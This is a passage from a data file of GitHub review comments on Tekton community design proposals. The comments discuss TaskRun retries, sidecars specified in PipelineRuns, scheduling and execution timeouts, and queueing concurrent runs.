support `retries`, the user (who is generally the author of the controller) must be aware of it (through documentation) and must know that there is no impact of specifying retries. The tekton controller supports a common API to specify retries, the custom controller author/user chooses to utilize it or not.", "comment_id": 1002193649, "created_at": "2022-10-21T21:19:53Z", "line": 147, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "XinruZhang", "body": "Summary our recent dicussion offline around option `1.c`, the details are attached in Appendix if you are interested.\r\n\r\n1. TaskRun reconciler creates a new `TaskRun` for each retry attempt.\r\n2. Creates a new field `RetryAttempts` in `TaskRun.Status` to record the retry history.\r\n3. Creates two new labels:\r\n - `tekton.dev/retry-count: `, if the number is 0, the TaskRun is not initiated for a retry.\r\n - `tekton.dev/retry-parent: `, record the parent TaskRun of a retry attempt TaskRun.\r\n\r\nWe need to prototype this solution before moving this TEP to implementable.\r\n\r\nThanks for all of the inputs and suggestions @pritidesai !\r\n", "comment_id": 1003475146, "created_at": "2022-10-24T15:44:36Z", "line": null, "path": "teps/0121-refine-retries-for-taskruns-and-customruns.md", "pr_number": 816, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nTasks are meant to be shared (e.g. through Git or the ArtifactHub) and referenced from pipeline runs. This TEP seeks to make tasks more often reusable by removing the limitation that sidecars are \"hardcoded\" and cannot be changed by the pipeline run author.\r\n```", "comment_id": 1072783553, "created_at": "2023-01-17T20:37:31Z", "line": null, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n* Extend `PipelineRun` to allow to specify all aspects of sidecars, matching how [sidecars are specified in tasks](https://tekton.dev/docs/pipelines/tasks/#specifying-sidecars).\r\n```", "comment_id": 1072784269, "created_at": "2023-01-17T20:38:00Z", "line": null, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "jerop", "body": "this is interesting - does it open a door to specify other task-level fields in pipelineruns? for example, specifying pre steps or post steps? \ud83e\udd14 ", "comment_id": 1072790917, "created_at": "2023-01-17T20:42:26Z", "line": 95, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "I know Pipeline-level sidecars are out of scope here, but I'm curious why they wouldn't work for the use case you've identified? The main drawback seems to be that the sidecar lasts for the duration of the PipelineRun, while you only need them for one task. However, this could be combined with [pipelines in pipelines](https://github.com/tektoncd/community/blob/main/teps/0056-pipelines-in-pipelines.md) to create a testing sub-pipeline with a database sidecar.", "comment_id": 1073227955, "created_at": "2023-01-18T08:30:51Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "michaelsauter", "body": "There are two reasons I listed it here:\r\n\r\n1. The referenced issue was closed due to lack of interest.\r\n2. I understand pipeline-level sidecars as a completely new feature, while my proposal is only about exposing existing functionality (task-level sidecars) during pipeline authoring time. My hope (without having read the code) is that it would be much easier to add.", "comment_id": 1073280840, "created_at": "2023-01-18T09:19:15Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "Thanks! My hope is that we'll prioritize pipeline-level sidecars in the near term, as they're useful for caching docker builds in addition to the integration test use case you've mentioned here. You're right that the feature you're proposing is easier to implement, but we aim to prioritize features that best meet user needs, even if they're a bit harder to create :) I'm just trying to understand here if pipeline-level sidecars are a viable alternative proposal, and it sounds like they are?", "comment_id": 1073312645, "created_at": "2023-01-18T09:48:25Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "michaelsauter", "body": "> My hope is that we'll prioritize pipeline-level sidecars in the near term, as they're useful for caching docker builds in addition to the integration test use case you've mentioned here.\r\n\r\nAh! Did not think of the use case of caching docker builds. That sounds interesting as well.\r\n\r\n> You're right that the feature you're proposing is easier to implement, but we aim to prioritize features that best meet user needs, even if they're a bit harder to create :) I'm just trying to understand here if pipeline-level sidecars are a viable alternative proposal, and it sounds like they are?\r\n\r\nMakes sense to me. I could live with both pipeline-level or task-level sidecars. Of course, pipeline-level would be a waste of resources for my use case, but then again would be the better option for cases where the sidecar is needed in multiple tasks. ", "comment_id": 1073572876, "created_at": "2023-01-18T14:01:04Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "@michaelsauter In this example, I'm curious to know how the go tests would get the address of the sidecar service? Normally, I would expect the database address to be passed in through an environment variable or similar, but I'm not sure there's a way to configure this for the golang-test catalog task. Would you have to bake a localhost address into your tests?", "comment_id": 1087105564, "created_at": "2023-01-25T19:52:28Z", "line": 84, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "michaelsauter", "body": "Right, my proposal does not address this question. As far as I know there is no way to pass in env variables from a pipeline run, so the address of the Postgres instance would need to be hardcoded in some way. E.g. through an \"env file\" which tells the app where to find the database locally, on CI, in QA, in prod, etc. In our case we typically set `CI=true` in the build tasks so that the app can use that variable to choose the right config.", "comment_id": 1087514459, "created_at": "2023-01-26T07:50:01Z", "line": 84, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "FYI, I've opened https://github.com/tektoncd/community/pull/943 proposing pipeline-level sidecars, primarily in the context of docker builds because I think the use case is more clear than for integration tests. LMK if you'd like to collaborate on this!", "comment_id": 1087963063, "created_at": "2023-01-26T15:00:39Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "michaelsauter", "body": "Cool! Looking forward to this. Unfortunately I won't be able to contribute at this point as we had a bit of a shift of priorities in the last month.", "comment_id": 1090280709, "created_at": "2023-01-30T08:04:20Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "no problem at all!", "comment_id": 1090633366, "created_at": "2023-01-30T13:35:13Z", "line": 44, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "\ud83c\udf89 ", "comment_id": 1090704652, "created_at": "2023-01-30T14:34:20Z", "line": 34, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "It might be possible to use the `flags` parameter or some other generic parameter.\r\nBTW, TEP-0101 has been implemented so you can specify an env in a pod template as part of a pipeline run: https://github.com/tektoncd/community/blob/main/teps/0101-env-in-pod-template.md", "comment_id": 1090714836, "created_at": "2023-01-30T14:42:34Z", "line": 84, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure it does directly, but I think I might see your point. This change introduces the ability to inject arbitrary code through the `PipelineRun` into the Pod, with the security concerns associated with it. \r\nThis is not something totally new, as we allow the task image to be parametrised, however, it allows the execution of extra code regardless of what the task author planned for.\r\n\r\nIf we add something like this, perhaps we could let authors disable it on a per-task basis, i.e. it's ok to inject a sidecar when running tests but not when building an artifact, so the author of the build task could disable injection. \r\n\r\nThis bring me back to the `Pipeline` vs `PipelineRun` approach - I think the change would be easier to accept if it was introduced at `Pipeline` level since that is still an authoring time artifact, which can be vetted and signed.", "comment_id": 1090722620, "created_at": "2023-01-30T14:48:24Z", "line": 95, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "Why `PipelineRun` directly and not start with a `Pipeline`?\r\nA `Pipeline` can be signed and verified, and it provides the same benefits of Task reusability.\r\n\r\nIf someone wants to reproduce a test run in their local cluster, having the correct setup in the `Pipeline` would provide a nicer user experience. ", "comment_id": 1090755130, "created_at": "2023-01-30T15:13:10Z", "line": 40, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "Indeed, `sidecarOverrides` is not designed to introduce *new* sidecars", "comment_id": 1090759771, "created_at": "2023-01-30T15:16:23Z", "line": 101, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "michaelsauter", "body": "The problem with `Pipeline` is that it doesn't allow to e.g. specify compute resource (at least not to my understanding).\r\n\r\nSome context: We have a YAML file in each repo which specifies a list of Tekton tasks. That file is read by a \"pipeline manager\" which is triggered when a push happens in the repo, and the \"pipeline manager\" creates a `PipelineRun` reflecting the tasks in the YAML file in the repo. There never is a `Pipeline` resource in our cluster - the pipeline is defined in code.\r\n\r\nThis is also the approach that OpenShift pipelines-as-code has taken (to my understanding). In my experience, the distinction between pipeline and pipeline run is a bit odd and even confusing, especially when using Git as the source of truth for the \"pipeline definition\". And as I wrote at the beginning, a lot of the features we want to expose to users are only available in pipeline runs, hence we need to expose them to the users.", "comment_id": 1090838114, "created_at": "2023-01-30T16:11:10Z", "line": 40, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "vdemeester", "body": "I think this is a bit what @jerop was commenting, but if we had a way to \"enhance\" a Task with steps (pre/post the task) at runtime or authoring time, this one could be achieve while keeping re-usability of Tasks.\r\n\r\nAt authoring time, as a user, you would \"wrap\" the `golang-test` with your own set of requirements (expressed as steps before and after the \"`golang-test` steps\".", "comment_id": 1114617100, "created_at": "2023-02-22T16:32:56Z", "line": 60, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "vdemeester", "body": "> If we add something like this, perhaps we could let authors disable it on a per-task basis, i.e. it's ok to inject a sidecar when running tests but not when building an artifact, so the author of the build task could disable injection.\r\n\r\nShould this be the \"initial\" author's concern. We don't really control how will our Task and Pipeline be used. For example, a resolver can today dynamically inject code / mutate a Task prior to be passed to the controller, and there is *no way* around it \ud83d\ude43.", "comment_id": 1114626609, "created_at": "2023-02-22T16:36:10Z", "line": 95, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "vdemeester", "body": "Also, what would happens in `sidecars` from a `PipelineRun` comes with the exact same name as an already defined sidecar in the `Task` definition.", "comment_id": 1114629451, "created_at": "2023-02-22T16:38:05Z", "line": 103, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "afrittoli", "body": "I guess in such case we should probably fail?", "comment_id": 1126268040, "created_at": "2023-03-06T11:18:09Z", "line": 103, "path": "teps/0126-allow-task-sidecars-to-be-specified-in-pipelinerun.md", "pr_number": 877, "repo": "community"} +{"author": "lbernick", "body": "suggest rewording this: the execution timeout isn't the same as our existing timeout, and we already have a total timeout. Maybe you could say \"add runtime configuration options to allow setting timeouts for the parts of a TaskRun dedicated to creating and scheduling the pod vs running the pod\"?", "comment_id": 1092008574, "created_at": "2023-01-31T14:25:47Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "nit: keeping timeout definitions consistent between CRDs is more of a goal of the proposal than a motivation for it. There's also two components to consistency: starting at start time vs creation time, and the meaning of 0 timeout.", "comment_id": 1092011104, "created_at": "2023-01-31T14:27:22Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "it looks like you might have forgotten something here?", "comment_id": 1092012365, "created_at": "2023-01-31T14:28:12Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\nThe total timeout would apply from the startTime until the completion of the task, like the existing TaskRun timeout.\r\n```", "comment_id": 1092013245, "created_at": "2023-01-31T14:28:43Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "This sentence is no longer true; we're adding two new timeouts, and it's a bit confusing to say they apply before any other timeouts are started.", "comment_id": 1092014832, "created_at": "2023-01-31T14:29:48Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "I can't comment on the sections you didn't update, but can you flesh out the \"design details\" section a bit more on what happens if the various timeouts are set to 0? In addition, the \"PipelineRun\" section also needs to be updated to reflect the \"execution\" timeout in addition to the \"scheduling\" timeout, and the \"The field in TaskRuns that represents the existing timeout\" section needs to be updated to reflect the fact that the execution timeout is different from the existing timeout.\r\n\r\nLastly, on line 211, \"The previous `timeout` field would be deprecated once this feature is beta.\" should read \"stable\" instead of \"beta\", since taskrun.timeout is now stable and we can't replace it with a beta feature.", "comment_id": 1092018573, "created_at": "2023-01-31T14:32:31Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "It would be helpful to give a few examples of how these fields will be validated/calculated/defaulted, based on what the user sets. Maybe in a new \"examples\" section?", "comment_id": 1092020058, "created_at": "2023-01-31T14:33:36Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "This is no longer true; the execution timeout doesn't change meaning depending on whether the scheduling timeout is set.", "comment_id": 1092021229, "created_at": "2023-01-31T14:34:28Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\nThe total timeout functions starts from the `startTime` of the `TaskRun`, like the existing TaskRun timeout.\r\n```", "comment_id": 1092021944, "created_at": "2023-01-31T14:35:02Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Since we've changed the proposal a bit, I'm not sure that it still leaves open options to add more timeouts later. The original idea was that the scheduling timeout would run before all other timeouts, but now we're introducing a set of timeouts that must all add up to the total. So it's not clear that we could still add a meaningful \"imagepullbackoff\" timeout later.", "comment_id": 1092024479, "created_at": "2023-01-31T14:36:59Z", "line": 492, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Since we're now starting the scheduling timeout at start time rather than creation time, I don't think this section is true anymore.", "comment_id": 1092027299, "created_at": "2023-01-31T14:39:10Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "One of the \"other options\" is \"We could use the `startTime` of the `TaskRun` as the beginning of the timeout\". Can you update this section to reflect that we are doing this, and a bit more detail on the reasoning (consistency)?", "comment_id": 1092032280, "created_at": "2023-01-31T14:42:53Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nThe goal of this proposal is to add configuration to both `PipelineRuns` and `TaskRuns` which would allow for a timeout\r\n```", "comment_id": 1092485195, "created_at": "2023-01-31T21:10:56Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "I think this is still unaddressed :) ", "comment_id": 1094705760, "created_at": "2023-02-02T15:43:52Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n* Allow the timeouts to be specified at runtime and to differ between TaskRuns\r\n```", "comment_id": 1094706794, "created_at": "2023-02-02T15:44:40Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "This is under the section \"Other options\", but we are proposing doing this. Maybe you could reword the other option to be starting from the creation time?", "comment_id": 1094709262, "created_at": "2023-02-02T15:45:37Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Nice! This section is great!", "comment_id": 1094711094, "created_at": "2023-02-02T15:46:14Z", "line": 170, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Here, scheduling and execution timeout should be unset. If it takes 45 minutes to schedule the pod, the taskrun will time out.", "comment_id": 1094712871, "created_at": "2023-02-02T15:46:56Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "I don't think this would be valid. Here, the total time would need to be 85 minutes.", "comment_id": 1094714248, "created_at": "2023-02-02T15:47:48Z", "line": 247, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "It might be clearer to put this under \"examples\", and say \"if the user doesn't specify any timeouts, here's what would be used.\" I don't think this is valid yaml.", "comment_id": 1094716362, "created_at": "2023-02-02T15:48:59Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Sorry for squishing a lot of suggestions into one comment; it looks like the PipelineRun section still needs to be updated though.\r\n\r\nIMO, it makes sense to have a \"scheduling\" option in `pipelinerun.spec.timeouts.taskruns` (since how long it takes to schedule a taskrun doesn't depend on the contents of the taskrun), but probably doesn't make sense to add `pipelinerun.spec.timeouts.execution`, because that will differ between taskruns. Either way, it's worth explaining the reasoning in the PipelineRuns section.", "comment_id": 1094723591, "created_at": "2023-02-02T15:53:13Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "I think the section here about being able to add a new timeout later on can just be deleted.", "comment_id": 1094726060, "created_at": "2023-02-02T15:54:34Z", "line": 492, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "is this intended to be commented out?", "comment_id": 1099183335, "created_at": "2023-02-07T20:28:59Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "should this read \"the scheduling timeout has no default value\"?", "comment_id": 1099185723, "created_at": "2023-02-07T20:30:29Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Interesting, this is different from how pipelineruns work. Probably worth noting that, but I think this is a valid approach.", "comment_id": 1099187384, "created_at": "2023-02-07T20:31:25Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n* If no timeouts are set, only the default `total` timeout is used\r\n```", "comment_id": 1099188179, "created_at": "2023-02-07T20:31:51Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "Given the use case stated here, I think a user would be more likely to create this:\r\n```\r\ntimeouts:\r\n scheduling: 0\r\n execution: 20m\r\n total: 0\r\n```\r\nif they truly don't care about how long it takes for a pod to be scheduled", "comment_id": 1099190560, "created_at": "2023-02-07T20:33:14Z", "line": 199, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "I'm curious what would happen if you used this TaskRun template in addition to pipeline task timeouts. This could create some confusing results. e.g. with the below template, using a pipeline task timeout of 5m would be invalid.", "comment_id": 1099194916, "created_at": "2023-02-07T20:35:57Z", "line": 319, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "It looks like this alternative is the same as the alternative \"configure at the controller level instead\", can their pros and cons be combined?", "comment_id": 1099199837, "created_at": "2023-02-07T20:38:45Z", "line": 463, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "could you add me as a tep collaborator? (we added a new \"collaborators\" field in addition to authors)", "comment_id": 1099204784, "created_at": "2023-02-07T20:41:55Z", "line": 10, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n* The existing `TaskRun` timeout option would be deprecated once this feature reaches `stable` stability\r\n```", "comment_id": 1099205935, "created_at": "2023-02-07T20:42:43Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "it is meant to be removed @EmmaMunley ", "comment_id": 1099331517, "created_at": "2023-02-07T22:20:33Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "I think that runtime specifications should take precedence over authoring time specifications\r\n\r\ntaskrunspecs > taskruntemplate > pipelinetask \r\n\r\nbut we'd have to be clear about it in the documentation\r\n\r\nwonder what happens if retries are set in both taskrunspecs/taskruntemplate and pipelinetask \ud83e\udd14 \r\n\r\nalso open to making this scenario validation error initially ", "comment_id": 1100485314, "created_at": "2023-02-08T17:46:18Z", "line": 319, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n total: \"0\" # No total timeout\r\n```", "comment_id": 1100704961, "created_at": "2023-02-08T21:34:28Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n* Note that this is different from how `pipelineRun.spec.timeouts` works: It's possible to declare PipelineRun timeouts where `timeouts.tasks` + `timeouts.finally` < `timeouts.pipeline`, and `timeouts.pipeline` always defaults to 60m and is never calculated by adding `timeouts.tasks` and `timeouts.finally`.\r\n```", "comment_id": 1100706574, "created_at": "2023-02-08T21:36:36Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "It looks like you might have accidentally marked this comment as resolved", "comment_id": 1100707093, "created_at": "2023-02-08T21:37:18Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "lbernick", "body": "It looks like you might have accidentally resolved this comment as well", "comment_id": 1100707912, "created_at": "2023-02-08T21:38:28Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nThe `total` timeout of a `TaskRun` is the combination of `scheduling` and `execution` timeouts. It applies from the start time of the `TaskRun` until the completion time of the `TaskRun`. This timeout is useful when a user doesn't care to distinguish between scheduling vs execution, they only want to general timeout of a `TaskRun`.\r\n```", "comment_id": 1100749904, "created_at": "2023-02-08T22:31:52Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "this is confusing, I'd have expected the total to always remain \"0m\" which means it'd run until completion (no timeout) -- cc @EmmaMunley @lbernick ", "comment_id": 1100751138, "created_at": "2023-02-08T22:33:45Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "ah @lbernick already corrected it -- @EmmaMunley this needs to be fixed", "comment_id": 1100751463, "created_at": "2023-02-08T22:34:14Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "Do we mean \"start time\" in the status, or creation time ? I am asking this because, let's assume the controller is slow to pick up things, do we want to apply the timeout based of the creation time (when the user created the object) or when the controller first picked it up ?", "comment_id": 1102557116, "created_at": "2023-02-10T10:13:01Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "I have trouble linking this use case with this timeout's proposal \ud83e\udd14 ", "comment_id": 1102561486, "created_at": "2023-02-10T10:16:47Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "Ideally, it would default to the default value configured in the default configmap \ud83d\udc7c\ud83c\udffc. I think that's what implied but we may want to be explicit.", "comment_id": 1102566162, "created_at": "2023-02-10T10:21:13Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "I am not sure we need that note here. It does confuse me more than anything, as we are talking about `Task` and `TaskRun` here, so talking about\u00a0`PipelineRun` seems out of place \ud83d\ude05 ", "comment_id": 1102567844, "created_at": "2023-02-10T10:22:43Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "If `timeout` is different that `timeouts.total`, which one takes \"priority\" ? Or would it be disallowed to specify `timeout` if any `timeouts.*` is specified ?", "comment_id": 1102572208, "created_at": "2023-02-10T10:26:36Z", "line": 155, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "So this one is a bit weird/confusing to me. Ideally, I want the scheduling to not take more than `5m` and the whole *execution* of my Task (scheduling including) the default value, so 60m. My assumption is then that, the `TaskRun` wouldn't time-out before 60m has passed, no matter how much time the scheduling did take. This is, however, not what happens in the proposal. If the scheduling took about 10 second, then, the `TaskRun` would timeout after 56min and not 60min (because the execution is still gonna timeout after 55m, even though we had more time for the total).", "comment_id": 1102579728, "created_at": "2023-02-10T10:32:39Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "In that example, only the `TaskRun` for the `clone` pipeline task would have these specified timeouts.", "comment_id": 1102582100, "created_at": "2023-02-10T10:35:00Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "Do we plan to allow to specify scheduling and execution timeouts in there as well ?", "comment_id": 1102585787, "created_at": "2023-02-10T10:36:52Z", "line": 399, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "vdemeester", "body": "I definitely agree with that sentence \ud83d\ude05 ", "comment_id": 1102593143, "created_at": "2023-02-10T10:42:04Z", "line": 441, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "It would be disallowed to specify timeout if any timeouts.* is specified.", "comment_id": 1102917619, "created_at": "2023-02-10T15:42:09Z", "line": 155, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "This is referring to `TaskRun.Status.StartTime`, which has always been used for timeouts. We never relied on the creation time. This has been updated in the TEP.", "comment_id": 1104714578, "created_at": "2023-02-13T16:23:24Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "Updated the use case to be more applicable.", "comment_id": 1104717907, "created_at": "2023-02-13T16:25:33Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "This has been updated to use the default value from the config map.", "comment_id": 1104727252, "created_at": "2023-02-13T16:31:27Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "We removed this because the default value will always be from the config map, similarly to PipelineRuns.", "comment_id": 1104728159, "created_at": "2023-02-13T16:32:04Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "This has been updated to explicitly state users cannot set both timeout fields.", "comment_id": 1104731790, "created_at": "2023-02-13T16:34:27Z", "line": 155, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "Thanks for the catch. This was copied over.", "comment_id": 1104750542, "created_at": "2023-02-13T16:46:55Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "No because this TEP is proposing run time changes to meet runtime use cases. The TEP has been updated to make this clear. ", "comment_id": 1104751634, "created_at": "2023-02-13T16:47:39Z", "line": 399, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "We are gathering more input from the users who requested this feature - In the meantime, changing this TEP from \"implementable\" to \"proposed\".", "comment_id": 1104755945, "created_at": "2023-02-13T16:50:28Z", "line": 441, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "EmmaMunley", "body": "Thanks for the catch. Agreed. The execution time could range from 55 mins to 60 minutes depending on how long scheduling took. The TEP has been updated to reflect this.", "comment_id": 1104779957, "created_at": "2023-02-13T17:09:07Z", "line": null, "path": "teps/0092-scheduling-timeout.md", "pr_number": 948, "repo": "community"} +{"author": "jerop", "body": "why pipelineruns only? can we add taskruns and customruns in scope?", "comment_id": 1117792197, "created_at": "2023-02-24T23:14:12Z", "line": null, "path": "teps/0132-queueing-concurrent-pipelineruns.md", "pr_number": 968, "repo": "community"} +{"author": "lbernick", "body": "I changed the title to \"queueing concurrent runs\" and updated the summary to include TaskRuns. Thanks for pointing this out! Do you know of any use cases for queueing Custom Runs? (I guess if they are matrixed, but it probably depends what the custom run does)", "comment_id": 1118898377, "created_at": "2023-02-27T15:23:13Z", "line": null, "path": "teps/0132-queueing-concurrent-pipelineruns.md", "pr_number": 968, "repo": "community"} +{"author": "jerop", "body": "agreed that it's mainly for matrix, we want to give users the option to queue customruns but it's up to them to decide whether it makes sense for their custom task", "comment_id": 1118912476, "created_at": "2023-02-27T15:33:36Z", "line": null, "path": "teps/0132-queueing-concurrent-pipelineruns.md", "pr_number": 968, "repo": "community"} +{"author": "jerop", "body": "thanks for updating the problem statement -- please update the PR title as well\r\n\r\nwondering about TEP-0120 also being focused on PipelineRuns, should it apply to other Runs as well?", "comment_id": 1118913486, "created_at": "2023-02-27T15:34:22Z", "line": null, "path": "teps/0132-queueing-concurrent-pipelineruns.md", "pr_number": 968, "repo": "community"} +{"author": "lbernick", "body": "Done, thanks. For TEP-0120, 